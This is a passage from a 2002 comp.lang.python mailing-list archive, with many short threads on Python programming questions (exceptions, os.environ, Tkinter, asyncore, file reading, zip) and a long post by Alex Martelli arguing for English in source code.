amount of balls (k) in this question then I will add an additional line: k=input("Please define the Max of balls: ") However, I do not know how to write the checking loops in this case? Because, the x and y are uncertain now. Could anyone please kindly help me. Thank you. From mwh at python.net Wed May 8 06:58:31 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 8 May 2002 10:58:31 GMT Subject: Exception handling References: Message-ID: J?rvinen Petri writes: > Hello > > Is it possible to use dynamic binding in exception handling like in C++. > > I mean can I catch baseclass exception in my exception handler and get all > the derived classes catched aswell, like Yes. Didn't you try it? Although A should have Exception amongst it's base classes... Cheers, M. -- A witty saying proves nothing. -- Voltaire From lac at strakt.com Wed May 15 12:38:58 2002 From: lac at strakt.com (Laura Creighton) Date: Wed, 15 May 2002 18:38:58 +0200 Subject: OT: Crazy Programming In-Reply-To: Message from Max M of "Wed, 15 May 2002 18:09:17 +0200." <3CE2882D.5060104@mxm.dk> References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <3CE1C502.BF27501D@cosc.canterbury.ac.nz> <3CE1FE30.3060803@mxm.dk> <200205151430.g4FEUcrW013511@theraft.strakt.com> <3CE2882D.5060104@mxm.dk> Message-ID: <200205151638.g4FGcwrW015306@theraft.strakt.com> > Laura Creighton wrote: > > >Computer Programmers need to go out drinking with Civil Engineers more > >often. They will then get to listen to Civil Engineering students say > >things like: > > > >Programming is much simpler than Bridge Building. For one thing, the > >programmer only has to deal with mathematical forms, and the products > >of his own mind. Programs are not subject to physical laws, or > >even geometric ones, all avenues are open to the creativity of the > >programmer. > > > > Well... one can create a program that design bridges, but one cannot > create a bridge that design programs ... > > ;-) I've worked with many programs for engineering construction design written by people whose understanding of how one designs bridges was more wishful thinking than actual engineering practice. Please pass me a bottle of beer. Laura From niemeyer at conectiva.com Thu May 2 18:45:52 2002 From: niemeyer at conectiva.com (Gustavo Niemeyer) Date: Thu, 2 May 2002 19:45:52 -0300 Subject: os.environ.copy()['COPY_HUH'] = "not really" In-Reply-To: <20020501075346.A22158@unpythonic.net> References: <20020430152022.I17488@unpythonic.net> <20020430184231.C30307@ibook.distro.conectiva> <20020501075346.A22158@unpythonic.net> Message-ID: <20020502194552.A17422@ibook.distro.conectiva> > I was tempted to send a patch to SF, but I was worried that there was > some "good" reason for this feature. Maybe it's just an accident > waiting to be fixed after all. If you have a patch prepared, by all > means submit it. I've done so immediately after replying your message and checking if you haven't done so before. The patch was already accepted, and you can review it at: http://sourceforge.net/tracker/?func=detail&atid=305470&aid=550804&group_id=5470 Thanks! -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From uwe at rocksport.de Thu May 2 13:04:27 2002 From: uwe at rocksport.de (Uwe Schmitt) Date: 2 May 2002 17:04:27 GMT Subject: Python and ODBC References: <3cd12639$0$15577$626a54ce@news.free.fr> Message-ID: "Bruno Li?nard" wrote: | Maybe a stupid question, but how can we create table with python and ODBC, | mxODBC for example. I have looked to the doc, but I didn't see anyfind about | it. i think thats a sql question... greetings, uwe. -- Dr. rer. nat. Uwe Schmitt Uwe.Schmitt at num.uni-sb.de Universitaet des Saarlandes Angewandte Mathematik Building 36.1 Room 4.17 PO-Box 151150 D-66041 Saarbruecken Mobile:0177/6806587 Fax:+49(0)681/302-4435 Office:+49(0)681/302-2468 From shalehperry at attbi.com Wed May 8 17:18:05 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 08 May 2002 14:18:05 -0700 (PDT) Subject: sys.argv and while loop In-Reply-To: <20020508165347.C11503-100000@palanthas.neverending.org> Message-ID: On 08-May-2002 Frank Tobin wrote: > Sean 'Shaleh' Perry, on 2002-05-08, wrote: > >> > Otherwise, objects of different types always compare unequal, and are >> > ordered consistently but arbitrarily. >> >> "if September is greater than the moon: do_this()" makes no sense to me >> either. I do not fault the language for failures of programmers (-: > > Weak argument. If you're going to have a stronly typed language, then > comparing objects of differing types, or even similar ones without > something defined for their comparison, should be generally be a > TypeError. > I would be perfectly happy if "int < string" raised a TypeError. But since it doesn't I do not find the current behaviour worse than any other. It could be worse "a"++ could actually mean something in python like it does in perl (-: From tdelaney at avaya.com Thu May 30 20:18:34 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 31 May 2002 10:18:34 +1000 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? Message-ID: > From: David K. Trudgett [mailto:dkt at registriesltd.com.au] > Sent: Friday, 31 May 2002 10:14 AM > To: python-list at python.org > Subject: Re: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? > > Obviously, something has changed since Python 1.5.2: Yes, the change was documented as prominent. > Personally, I expect a scripting language to give me the right answer, > not the "correct" answer. For "correctness" I can use C. > > I suppose arguments could be made on both sides... I would make a different argument ... that Python is not a "scripting" language. Tim Delaney From eric.brunel at pragmadev.com Mon May 13 13:00:21 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Mon, 13 May 2002 17:00:21 +0000 Subject: Tkinter Configuration References: Message-ID: Bohr, Mike wrote: > I've got S.u.S.E. Linux 7.3 Personal. I've only installed Python 2.2.1 . Unfortunately, I don't know about the SuSe distro... Are the Tcl/Tk libraries installed by default? Their names are libtcl.so and libtk.so; They're usually installed in /usr/lib or /usr/local/lib. Please make sure you have them, and get their actual names. Did you compile your Python interpreter yourself? If not, do you know how to do it? You will have to do it to be able to include the Tkinter support in your Python interpreter. If you have, just go to the Modules directory under the root installation of the Python sources. Edit the "Setup" file and locate the lines concerning the "_tkinter" module (just search for "_tkinter"). You just have to uncomment/edit the lines for this module, regenerate the makefile in the top directory ("make Makefile") and re-compile ("make"). The comments for these lines should be explicit enough. If they aren't, I'll be glad to help. HTH. Good luck! -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From sigurd at 12move.de Wed May 8 16:03:38 2002 From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=) Date: Wed, 08 May 2002 22:03:38 +0200 Subject: Comments References: Message-ID: On 8 May 2002, Philip Swartzleonard <- starx at pacbell.net wrote: > I removed the extra blank lines manually. Unfortuantly if you try to > do something like this without the extra padding > def foo: > # A comment that is longer than fill length > c=1 > c=2 > pass > You'll get > def foo: # A comment that is > longer than fill length c=1 > c=2 pass > ... Is there a way to make emacs ignore lines that wouldn't be > considered comments by the language when wrapping? I changed the value of `paragraph-start'. I did it like this: (add-hook 'python-mode-hook (lambda () (setq paragraph-start "[ \t\n\f#]"))) "[ \t\n\f]" is the default for this variable. bye KP -- And has thou slain the Jabberwock? Come to my arms, my beamish boy! O frabjous day! Callooh! Callay!' He chortled in his joy. "Lewis Carroll" "Jabberwocky" From aahz at pythoncraft.com Wed May 1 14:18:03 2002 From: aahz at pythoncraft.com (Aahz) Date: 1 May 2002 14:18:03 -0400 Subject: Python vs. Perl, which is better to learn? References: Message-ID: In article , Mark McEahern wrote: > >What's that saying? It goes something like, > >Suppose you have a problem that you think requires regular expressions. Now >you have two problems. 'Some people, when confronted with a problem, think "I know, I'll use regular expressions". Now they have two problems.' --Jamie Zawinski, comp.lang.emacs -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From cgale1 at cox.net Wed May 15 06:01:59 2002 From: cgale1 at cox.net (Van Gale) Date: Wed, 15 May 2002 10:01:59 GMT Subject: Tkinter, asyncore - Two questions References: Message-ID: Rune Hansen wrote: > Question number two. I'm unable to catch any errors in the asyncore > loop. Before and during connection I can get error messages from the > socket object. But I've found no way to get error messages from the > class after the connection is established. If I remove the network > connection and try to update the stream or post to the socket nothing > happens. When I reconect the network my application just continues to > serve like nothing has happened. This is of course nice, but I had > hoped to get an error of some kind so that I could tell the user that > the service is unavailible. You need to override the handle_error() method of the asyncore base class. The base class method sends a compact stack trace to the log_info() method, which just does a print. Logging in general might be useful to you, so you might also want to override the log_info() method. If you want the asyncore.loop to break on an exception (don't do this on server side!), just do something like this: def handle_error (self): raise Van From jb at cascade-sys.com Sun May 5 21:53:32 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Sun, 05 May 2002 18:53:32 -0700 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> Message-ID: <3CD5E21C.7BD08004@cascade-sys.com> Peter da Silva wrote: > The fundamental problem is that C is not a good language to use for the > basis of a modern object-oriented language. Too much of the semantics are > hard-coded in the syntax, which is why C++ has so many increasingly desperate > kludges added in by finding obscure combinations of symbols that hadn't been > combined before. Fascinating. You must have a tremendous amount of experience with C++ under your belt to be so dismissive of it. I myself could only think of a few examples of strange new language tokens: the scope resolution operator "::", "~" prefix for destructors, and the pointer to member of structure operators. What others were you referring to? For the record, it seems to me that what makes C++ a little more complicated than, say, Python or Java is it's reliance on static binding instead of dynamic and on explicit constructors/destructors in lieu of garbage collection. Stroustrup's goal was to avoid the unavoidable runtime penalties associated with those two features (present in most other OO languages at the time). I think his was a valid goal for some applications and I think his contributions are significant. Is it your contention that garbage collection and dynamic binding are absolute requirements for a "modern OO language"? I'm not sure I'd agree with that statement, though I agree the savings in programmer time is usually worth the penalty in runtime performance. > I don't want to use a C-derived language for OO code, no matter whether it's > called C++, CO2, Objective C, C#, or Java. You're certainly entitled to your opinion. Good thing most of us live in a free country. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From jepler at unpythonic.net Fri May 31 22:05:06 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Fri, 31 May 2002 21:05:06 -0500 Subject: file.readlines() question In-Reply-To: References: Message-ID: <20020531210506.A2361@unpythonic.net> this finds a line in f with the substring s, using a readlines hint, defaulting to 4096. If found, it returns the line itself and the line number (of the first match). Otherwise, it returns None. Untested. :) def findit(f, s, hint=4096): lineno = 0 while 1: chunk = f.readlines(hint) if not chunk: break for line in chunk: lineno = lineno + 1 if string.find(line, s) != -1: return line, lineno in newer Python, you could write def findit2(f, s): lineno = 0 for line in f: lineno = lineno + 1 if string.find(line, s) != -1: return line, lineno because when you treat a file like an iterator, it yields each successive line (a drag if you happen to think files are made out of bytes <\u00bd wink>). I think this is implemented with the efficiency of readlines-sizehint internally. Jeff From fperez528 at yahoo.com Mon May 6 03:39:24 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 06 May 2002 01:39:24 -0600 Subject: Extending python with C References: Message-ID: eric wrote: > Hey Henrik, > > You've put together a nice example. Thanks for taking the time to write > this > up. I thought I'd also give an example of how to do the same thing using > weave which allows you to mix C++ directly into Python. > > regards, > eric > Hey Eric, I'd forgotten to tell you about this link: http://www-hep.colorado.edu/~fperez/python/python-c/ The file with weave examples may be useful to people (I wrote it when I was teaching myself how to use the stuff). Feel free to link/copy any of this stuff if you find it useful. Cheers, f. From warlock at eskimo.com Wed May 8 01:53:24 2002 From: warlock at eskimo.com (Jim Richardson) Date: Tue, 7 May 2002 22:53:24 -0700 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> <7934d084.0205071646.5de5b992@posting.google.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 7 May 2002 17:46:39 -0700, Andrae Muys wrote: > Jim Richardson wrote in message news:... >> sorry, I wasn't very clear, in the above example, the result I am >> looking for is >> >> >>>a=(1,2) >> >>>b=(2,3) >> >>>a+b >> (3,5) >> > > Well if it's just a one-off you can use a simple list comprehension > > [a+b for a,b in zip(a,b)] > [3,5] > > if you specifically need a tuple then wrapping the above in tuple() > will do the conversion. > > However if this is likely to be a common task (as I suspect), then you > are better off using Numeric as suggested, or (less likely) rolling > your own class. > > Andrae Muys I am going to look into numeric thanks, and also zip, I don't recal this from 1.5? is it new with 2.0? -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE82L1Ud90bcYOAWPYRAuLwAJ44s0WfeNqPeio5z/vjwj+u1NoHrwCgijpn Kip+FQUnQoHEli8vERJ6zjw= =YhR/ -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From norbert.klamann at klamann-software.de Fri May 3 01:27:10 2002 From: norbert.klamann at klamann-software.de (Norbert Klamann) Date: 2 May 2002 22:27:10 -0700 Subject: Message queueing References: Message-ID: <6afc8cab.0205022127.41250f44@posting.google.com> Etienne Labuschagne wrote in message news:... > Hi all, [introduction and examples snipped] > > Any suggestions? You might try OSE (has python bindings) , on ose.sourceforge.net IIRC Or have a look at elvin on elvin.dstc.edu.au (with python bindings too), loosely coupled , but there exist proxies to accept messages in behalf of disconnected clients. > > Thanks > Etienne > > -- De rien Norbert From eric.brunel at pragmadev.com Thu May 16 13:41:26 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Thu, 16 May 2002 17:41:26 +0000 Subject: Strange result on os.environ References: <2cj7eucrjmbqj509b29jeaf6no6lgqboa5@4ax.com> Message-ID: Goncalo Rodrigues wrote: > Hi, > > os.environ is supposed to be a mapping with keys the environment > variables. Then what does it mean the following? > > PythonWin 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on > win32. > Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au) - > see 'Help/About PythonWin' for further copyright information. >>>> import os >>>> for key in os.environ: > ... print key The os.environ object behaves like a dictionary, so you should do: for key in os.environ.keys(): to get the result you expect. > Traceback (most recent call last): > File "", line 1, in ? > File "C:\Python22\lib\os.py", line 387, in __getitem__ > return self.data[key.upper()] > AttributeError: 'int' object has no attribute 'upper' >>>> Interesting... Apparently, when you do a: for key in os.environ: it tries to do a os.environ[0], i.e. os.environ.__getitem__(0), which executes "return self.data[key.upper()]" with key = 0. Hence the error "int has no attribute upper"... One may say logical, but I understand it may be confusing! Maybe the os module on Windows could be protected against this (testing that the key is actually a string before calling "upper", for example...). HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From msoulier at nortelnetworks.com_.nospam Wed May 22 13:34:59 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 22 May 2002 17:34:59 GMT Subject: reading directory entries one by one References: Message-ID: On Wed, 22 May 2002 14:43:34 GMT, Terry Reedy wrote: > > Guido did as part of the type-class unification. Type objects (int, > float, str, tuple, list, dict, file, etc), when called, now produce an > object of that type, just as class object have always done. Hmm. Ok, as long as I can still use open(). :) I like choice. I like file removals to be unlink() because that's the system call in Unix, etc. I realize I can't always keep this, but it'd be nice where I can. Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From gcordova at hebmex.com Mon May 6 13:50:43 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Mon, 6 May 2002 12:50:43 -0500 Subject: iterating over a derived list Message-ID: > > [...snip...] > Hmmm... strange. Simply deriving from a list() will give you iteration through the contents for free. Or at least, so I thought. -gustavo From gumuz at looze.net Tue May 14 07:20:06 2002 From: gumuz at looze.net (Guyon Moree) Date: Tue, 14 May 2002 13:20:06 +0200 Subject: fcrypt alternative? Message-ID: <3ce0f09a$0$225$4d4ebb8e@read.news.nl.uu.net> i am using fcrypt as a windows alternative for crypt. the only problem is that it is _so much slower_ than crypt. this is an issue as i am doing some sort of brute force stuff. i'm wondering if anybody knows an alternative for fcrypt for windows. thanx, guyon From aleax at aleax.it Thu May 9 05:39:34 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 9 May 2002 11:39:34 +0200 Subject: Multibyte Character Surport for Python In-Reply-To: References: Message-ID: On Thursday 09 May 2002 01:44 am, Fran?ois Pinard wrote: ... > But people are not all alike! I worked in many areas and teams in my life, > and wrote a lot of code in English when meant to be widely available. > At other times and circumstances, this just does not apply. Besides, I > know and work with people doing humble jobs in close shops, some have done > this for a lot of years, and they are good, nice and intelligent people. In 1989 I left IBM Research to join a small, obscure programming shop in a tiny town close to my hometown, Bologna. I wanted to come back home and maybe I liked the idea of being the relatively big fish in a small pond, technically speaking, rather than working in the sort of places where good parking spaces are marked "reserved for Nobel Prize Winners only":-). One of the things I started nagging people about in my new position as the senior software consultant was to *use English* in code and docs. Some of those of my colleagues who saw themselves as "doing humble jobs in a close shop" and had been doing this for a lot of years didn't like that, and we had interminable debates. I just kept nagging. Then one day we had a request for a job interview from a brilliant Chilean guy who was still an exile from his country. His command of Italian was close to mine of Spanish -- i.e., close to none, except what comes from the two languages' similarities. Yet he WAS brilliant. He got in, to the advantage both of himself and the firm, even though he was only able to work on the parts of the software where enough English had been used to let him follow his way around. I didn't fail to take advantage of this to keep shaming those colleagues who wanted to stick to Italian -- "see, what you're doing is, *deliberately keeping out of your software wonderful people such as him, taking advantage of the fact he can't speak Italian*". Where will the next brilliant political refugee come from? Do you want to HELP his oppressive government keep him poor and on the run? (I was of course playing also on the instinctive left-leaning sympathies that are so prevalent in the professional classes in Bologna and environs:-). Unfair, sure, but it helped, even though soon enough Chile moved back towards freedom and the guy eventually decided to go back home (I was glad for him, even though it was a loss for the firm). Gradually more of our software moved to being almost-usable/maintainable/etc for people knowing little or no Italian. And you know what -- it was GOOD software. Good enough that a few years after that we decided we HAD to go international, or perish. Suddenly Alex's silly quirk of wanting stuff in English "to help refugees" became one key issue in the firm's success. When I recently left (to go full-time-Python) the firm's headquarters were in Santa Clara, CA; a little but crucial development lab in Aix-en-Provence; the largest lab after the main near-Bologna location, in Bangalore, India. None of that would be possible if Italian had been a requirement to be able to work on our software. > > Long live a world where ONE natural language (don't care which one: ONE, > > I can learn) opens to me the doors of the (programming) world. > > If you feel happy in the Borg collective, I'm glad you are happy. :-) I'm proud of my cultural heritage and gladly use my language *when appropriate*. But I don't try to impose it where it's NOT appropriate: that would be as silly as people wanting to translate, say, "piano" or "pizza" into their own languages because they can't stand Italian in fields of endeavour where Italian is or was prominent enough, just as English is today in computing. > Seriously, however, many of us do not aspire to assimilation, and would Neither do I. I choose to leave the US and come back to Italy, not because of language issues, but of other cultural aspects that made me happier to live here (even though I love many parts of the US and many US characteristics, still, in the end, "there's no place like home"). But I still say "allegretto ma non troppo" in the field of music, "ils sont fous ces Romains" when I read Asterix comics (in the original -- why use translations when I'm lucky enough to be able to enjoy the original French), and "flip-flop" (rather than "multioscillatore bistabile") in electronic circuits. I understand many Francophones feel very differently about this. No doubt historical accidents play a part. In Italy, the only serious attempt to enforce (even by law) use of "pure Italian language" came from a dictatorship, so such nationalistic urges feel highly dictatorial to Italians. Even closer to home, the most prominent electric engineer born in my town, Bologna, had an English mother -- so, his invention, "radio", has forever an Italian name, but mostly-English technical terminology. Or further back in history, Bologna's main claim to fame is the concept of "Universitas" -- culture open to ALL (as long as they were able to pay and had the prereq, specifically the "universal language of learned men", which was then Latin). Had Wernerius, the Founder, insisted on teaching in his native tongue, Lombard (a variation of German), he'd have had few customers indeed. As it was, he set up shop here, mandated Latin as THE *ONE* Language, and on that basis was the Alma Mater launched (and later imitated endlessly). You can still see some old-timers in Bologna saying something in the Bolognese dialect and then at once the Italian translation of the same thing -- that used to be a _Latin_ translation until less than 200 years ago, and the motivation was ensuring all listeners understood, whether they were uneducated locals (in which case they'd get the Bolognese part) or students / scholars from anywhere in the world (in which case they'd get the Latin part). Sure, the students coming from Germany tended to party together (we still have a quarter called "Alemanni" -- that's where they tended to moslty live), so did those from Spain (we still have "Collegio di Spagna"), and so on. But when it came to *WORK*, using just one language was the crucial choice. Did Europe become "Assimilated" because of that? Let's not be silly: a thousand years of history after that show us how differentiated, both for good and for evil, our many cultures have continued to grow. But for centuries, until the full flower of Nationalist folly, the "One Language" served us well. My father, a physician, barely 30 years ago was still able to get SOME use out of some medical docs he had received from Yugoslavia about one of his patients (in Croat, I believe) because the key aspects of the diagnosis were in Latin. It matters not a whit *WHICH* language it is, it does matter that it be ONE language, not hundreds and thousands. In practice that one language isn't Latin any more (in most fields of endeavour) but English. Fine, whatever. As long as it's ONE. > like to think that resistance is not wholly futile. When one lives a full Indeed it's not: if there are enough of you, and you fight hard enough, you may well be able to fragment the world back into incompatible little warring pieces again. "Globalization" around 1905/1910 was roughly the same as today, in terms of many measures such as fraction of the economic flows being international, immigration and emigration in the world, unity of ("high") culture. Yet resistance to that proved anywhere BUT futile: the growing tide of nationalism managed to lead right into the carnage of World War I, and almost inevitably after that, further flag-waving, protectionism, nationalism ever more extremes, dictatures, further massacres, until the pinnacle of Word War II. I'll do whatever is in my power (which is not much at all) against such prospects, and in favour of the opposite prospect, that of one world of which we're all citizens -- as culturally differentiated as, e.g., today are the various regions of, say, France, or Italy, each with its own cherished dialects, traditions, cutures, and so on. But all able to talk to each other, to work together, to move from one place to the other without legal impediments -- a world where it's as absurd to think of two nations going at war against each other as today it would be to think that of, say, Cote d'Azur and Provence, or Emilia and Toscana, or Massachussets and New Hampshire. Being able to communicate helps, and sharing a language helps, even though Provencals are justly proud of THEIR own language (quite as different from French as, say, from Italian), Bolognese of their own (you may choose to call it a "dialect", but that will get you quite a few hostile stares...), and so on. > computer life in French, say, with no appetite for international > visibility, limitations coming from the English languages are fully > artificial. Just like having to say "adagio maestoso" is artificial...? Whatever I can do (which is not much at all) against anything furthering the _fragmentation_ (as opposed to, cultural diversity within helpful and peaceful cooperation, which is *great*!) of humanity, I will. I am convinced that encouraging the use of a zillion different nautral languages in programs is a terrible idea and I earnestly hope Python does nothing at all to _help_ it. Alex From gh_pythonlist at gmx.de Sun May 12 14:16:21 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Sun, 12 May 2002 20:16:21 +0200 Subject: High performance Python web-app In-Reply-To: <3CDE9D7B.7050408@xs4all_removethisalso.nl> References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: <20020512181620.GA8049@lilith.my-fqdn.de> * iwk [2002-05-12 18:51 +0200]: > Hi there, > > We've been using a custom developed html/python templating system which > runs under CGI. It was ported to mod_python one year and a half ago, but > as the system was only used for small-scale sites, in the end that > was never taken into production. Now however, a customer wants to deploy > the system on Apache 2 running on Win32 and the site is expected to > attract a rather large number of visistors on occasion. Considering the > abysmal performance of CGI apps on Windows, this poses a considerable > problem. > > My question is: are there any *stable* solutions available to enable > fast python web-apps running on Apache 2/Win32? Not that I know of. > (Mod_python only runs on Apache 1.3 as far as I know AFAIR, the current main focus of mod_python development is the Apache 2.0 port. Maybe a little sponsoring would accellerate development? :-) > and Mod_snake seems to have been taken off line....) Oops, that's news to me. Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 14.8 ?C Wind: 2.4 m/s From bokr at oz.net Sun May 12 17:35:51 2002 From: bokr at oz.net (Bengt Richter) Date: 12 May 2002 21:35:51 GMT Subject: small string split prob References: Message-ID: On Sun, 12 May 2002 21:53:00 +0100, "ian" wrote: >hi im having trouble splitting a string any help would be great!! >The RCPTTO contains a line read from a socket. >when i try to split an e-mail address into the box and domain sub parts i >get a type error on index!? > >#split e-mail address >index = RCPTTO.find("@") >box = RCPTTO[0,index] >domain = RCPTTO[index + 1,RCPTTO.len()] > >print box >print domain > What am I missing? "... _split_ an e-mail address..." is so suggestive of .split ;-) >>> RCPTTO = 'boxname at some.domain.com' >>> box,domain = RCPTTO.split('@',1) >>> print box boxname >>> print domain some.domain.com Regards, Bengt Richter From pferris at pferris.com Fri May 17 08:15:53 2002 From: pferris at pferris.com (Peter F. Ferris) Date: Fri, 17 May 2002 07:15:53 -0500 Subject: Python & CuteFTP TE COM Object Anyone?! In-Reply-To: <3CE484B5.81501A89@engcorp.com> Message-ID: : > Does anybody on the list have any experience with the Windows GUI app : > "CuteFTP" (Pro or not) and scripting with Python. : : I'm afraid not. What advantages would it have over just using the : standard Python FTP support directly? It allows pretty painless scheduling of transfers, synchronizing of directories, fairly sophisticated rules with easy interface, etc. Point & click for the most part. From roy at panix.com Wed May 8 07:33:39 2002 From: roy at panix.com (Roy Smith) Date: Wed, 08 May 2002 07:33:39 -0400 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> <7x1ycnw6iz.fsf@ruckus.brouhaha.com> Message-ID: Oleg Broytmann wrote: > Alas, in these days of software rush, 2 years are more than many people > can tolerate; for them, 2 years-old software has already dead and gone. Not > that I am saying it is good, but this is how many people think... or were > taught to think. *snort* Just yesterday at lunch, a co-workers asked me what I thought of Apple's announcement that OS-9 was dead. Would it force me to upgrade to OS-X before I really wanted to? My answer was that it really didn't affect me because I hadn't upgraded to OS-9 yet. Then again, I'm also running RedHat 6.2. Oddly enough, I've upgraded my python to 2.x, and havn't yet seen any problems caused by that. From sholden at holdenweb.com Fri May 10 11:57:46 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 11:57:46 -0400 Subject: lists + string References: Message-ID: "ian" wrote in message news:UORC8.49610$7R.60091 at NewsReader... > hi started to learn python this week > and my lecturer threw us in the deep end > and asked us to write a mail server.. oh well > > anyway in the program i read in some input from the user > > input = str(raw_input ......... > As far as I know, raw_input() always returns a string, so you should just be able to use input = raw_input("Search for: ") > how do i compare it to an element in a list?? > > ive tried > > for x in list > if input == x:print 'found item' > > but it dont work any help would be great thanx > Perhaps you don't have strings in your list? Impossible to say since you don't show us how you form it, but... >>> aList = ['1', 'hello', 'quit'] >>> myinput = raw_input("Search for: ") # input is a builtin Search for: hello >>> for x in aList: ... if x==myinput: print "Found", myinput ... Found hello >>> Seems to work here. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From daniel at dittmar.net Sat May 11 14:38:16 2002 From: daniel at dittmar.net (Daniel Dittmar) Date: Sat, 11 May 2002 20:38:16 +0200 Subject: path.startswith(dir)? References: Message-ID: <3CDD6518.3010707@dittmar.net> > I've got some code which tests for > > commonprefix([dir, filename]) == dir > > Assuming that dir ends with a separator (e.g. '/'), it ought to be > just as safe (and more concise) to use > > filename.startswith(dir) > > no? On Windows: >>> os.path.abspath ('.') 'H:\\Perforce' >>> os.path.abspath ('h:\\perforce') 'h:\\perforce' You'll have to add a os.path.normcase into the mix. Daniel From pinard at iro.umontreal.ca Tue May 28 23:50:48 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 28 May 2002 23:50:48 -0400 Subject: multithreading In-Reply-To: References: <3ce7e613$0$3732@echo-01.iinet.net.au> Message-ID: [Aahz] > [...] I therefore invoke Python's "There's Only One Way" principle. That principle still existed with Python 1.5.2, but is fading out since then, and does not reflect Python reality anymore. Python now offers many ways in various fields of the language. I too, like you, feel a bit nostalgic of the past simplicity :-). On the other hand, all the recent improvements have their own value. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From mfranklin1 at gatwick.westerngeco.slb.com Tue May 28 05:19:29 2002 From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin) Date: Tue, 28 May 2002 09:19:29 +0000 Subject: Fwd: Re: Newbie: sendmail / subject woes Message-ID: <200205280820.g4S8KUB29152@helios.gatwick.geco-prakla.slb.com> oops sent to OP only.... ---------- Forwarded Message ---------- Subject: Re: Newbie: sendmail / subject woes Date: Tue, 28 May 2002 08:55:15 +0000 From: Martin Franklin To: melis On Tuesday 28 May 2002 9:45 am, you wrote: > Hello NG! > > In the reference library it states > > sendmail (from_addr, to_addr, msg[,mail_options,rcpt_options]) > > Where do i specify the subject of the mail ? In the first line of the message (msg) like so: msg="""Subject: hello boys! Hi boys how are you?""" > THX > > Udo ------------------------------------------------------- From whisper at oz.net Fri May 17 23:02:46 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 17 May 2002 20:02:46 -0700 Subject: Zaurus and Python, a good combination In-Reply-To: <20020518023855.GA25489@lilith.my-fqdn.de> Message-ID: And specifically the backlight for said color LCD. My iPaq runs a lot longer between charges when the backlight is off. WRT the processor power draw: every little bit helps. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Gerhard H?ring > Sent: Friday, May 17, 2002 19:39 > To: python-list at python.org > Subject: Re: Zaurus and Python, a good combination > > > * David LeBlanc [2002-05-17 19:38 -0700]: > > [...] Speaking of power, I saw some mention that the new x-scale arm > > processors use less power at 2x the speed of the current arm > > processor. Damn - more battery life! :-) > > My uneducated guess is that the colour LCD is sucking the most energy. > > Gerhard > -- > mail: gerhard bigfoot de registered Linux user #64239 > web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 > public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 > reduce(lambda x,y:x+y,map(lambda > x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) > > > -- > http://mail.python.org/mailman/listinfo/python-list From chris at cmb-enterprises.com Mon May 13 23:10:34 2002 From: chris at cmb-enterprises.com (Chris) Date: Mon, 13 May 2002 23:10:34 -0400 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> <3CE05339.6660B6BA@engcorp.com> Message-ID: In article <3CE05339.6660B6BA at engcorp.com>, Peter Hansen wrote: > Chris wrote: > > > > > Chris wrote: > > > ... > > > > While I enjoy Python - and I do... it opned up the world of OO > > > > programming for me - I think there's almost a danger in things being too > > > > obvious. Creativity can be a messy business, but ultimately it leads to > > > > better places. > [...] > > In the end I'm not trying to say 